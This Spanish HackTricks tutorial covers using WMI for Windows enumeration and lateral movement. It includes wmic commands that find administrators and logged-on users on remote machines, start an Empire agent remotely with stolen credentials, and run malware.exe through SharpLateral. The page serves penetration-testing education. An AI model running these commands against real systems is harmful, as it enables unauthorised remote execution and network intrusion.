hacktricks/windows-hardening/ntlm/wmicexec.md

7.7 KiB

WmicExec

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Cómo funciona

Wmi permite abrir procesos en hosts donde conoces el nombre de usuario/(contraseña/Hash). Luego, Wmiexec utiliza wmi para ejecutar cada comando que se le pide ejecutar (por eso Wmicexec te proporciona una shell semi-interactiva).

dcomexec.py: Este script proporciona una shell semi-interactiva similar a wmiexec.py, pero utilizando diferentes puntos finales de DCOM (objeto DCOM ShellBrowserWindow). Actualmente, es compatible con los objetos MMC20. Application, Shell Windows y Shell Browser Window. (de aquí)

Conceptos básicos de WMI

Namespace

WMI está dividido en una jerarquía al estilo de un directorio, el contenedor \root, con otros directorios bajo \root. Estas "rutas de directorio" se llaman namespaces.
Lista de namespaces:

#Get Root namespaces
gwmi -namespace "root" -Class "__Namespace" | Select Name

#List all namespaces (you may need administrator to list all of them)
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace

#List namespaces inside "root\cimv2"
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace

Listar clases de un espacio de nombres con:

gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse

Clases

El nombre de la clase WMI, por ejemplo: win32_process, es un punto de partida para cualquier acción WMI. Siempre necesitamos saber un Nombre de Clase y el Espacio de Nombres donde está ubicado.
Lista de clases que comienzan con win32:

Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"

Llamar a una clase:

#When you don't specify a namespaces by default is "root/cimv2"
Get-WmiObject -Class win32_share
Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus

Métodos

Las clases WMI tienen una o más funciones que pueden ser ejecutadas. Estas funciones se llaman métodos.

#Load a class using [wmiclass], leist methods and call one
$c = [wmiclass]"win32_share"
$c.methods
#Find information about the class in https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-share
$c.Create("c:\share\path","name",0,$null,"My Description")
#If returned value is "0", then it was successfully executed
#List methods
Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class LIKE "win32%"' | Where-Object { $_.PSBase.Methods } | Select-Object Name, Methods
#Call create method from win32_share class
Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)

Enumeración WMI

Verificar servicio WMI

Así es como puedes verificar si el servicio WMI está en funcionamiento:

#Check if WMI service is running
Get-Service Winmgmt
Status   Name               DisplayName
------   ----               -----------
Running  Winmgmt            Windows Management Instrumentation

#From CMD
net start | findstr "Instrumentation"

Información del Sistema

Get-WmiObject -ClassName win32_operatingsystem | select * | more

Información del Proceso

Get-WmiObject win32_process | Select Name, Processid

Desde la perspectiva de un atacante, WMI puede ser muy valioso para enumerar información sensible sobre un sistema o el dominio.

wmic computerystem list full /format:list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred

Consulta Remota Manual de WMI

Por ejemplo, aquí hay una forma muy sigilosa de descubrir administradores locales en una máquina remota (nota que dominio es el nombre de la computadora):

{% code overflow="wrap" %}

wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")
Otro oneliner útil es para ver quién está conectado a una máquina (cuando estás buscando administradores):
wmic /node:ordws01 path win32_loggedonuser get antecedent

wmic puede incluso leer nodos de un archivo de texto y ejecutar el comando en todos ellos. Si tienes un archivo de texto de estaciones de trabajo:

wmic /node:@workstations.txt path win32_loggedonuser get antecedent

Crearemos de forma remota un proceso a través de WMI para ejecutar un agente de Empire:

wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"

Observamos que se ejecutó con éxito (ReturnValue = 0). Y un segundo después, nuestro oyente de Empire lo detecta. Nota que el ID del proceso es el mismo que WMI devolvió.

Toda esta información fue extraída de aquí: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/

Herramientas Automáticas

{% code overflow="wrap" %}

SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: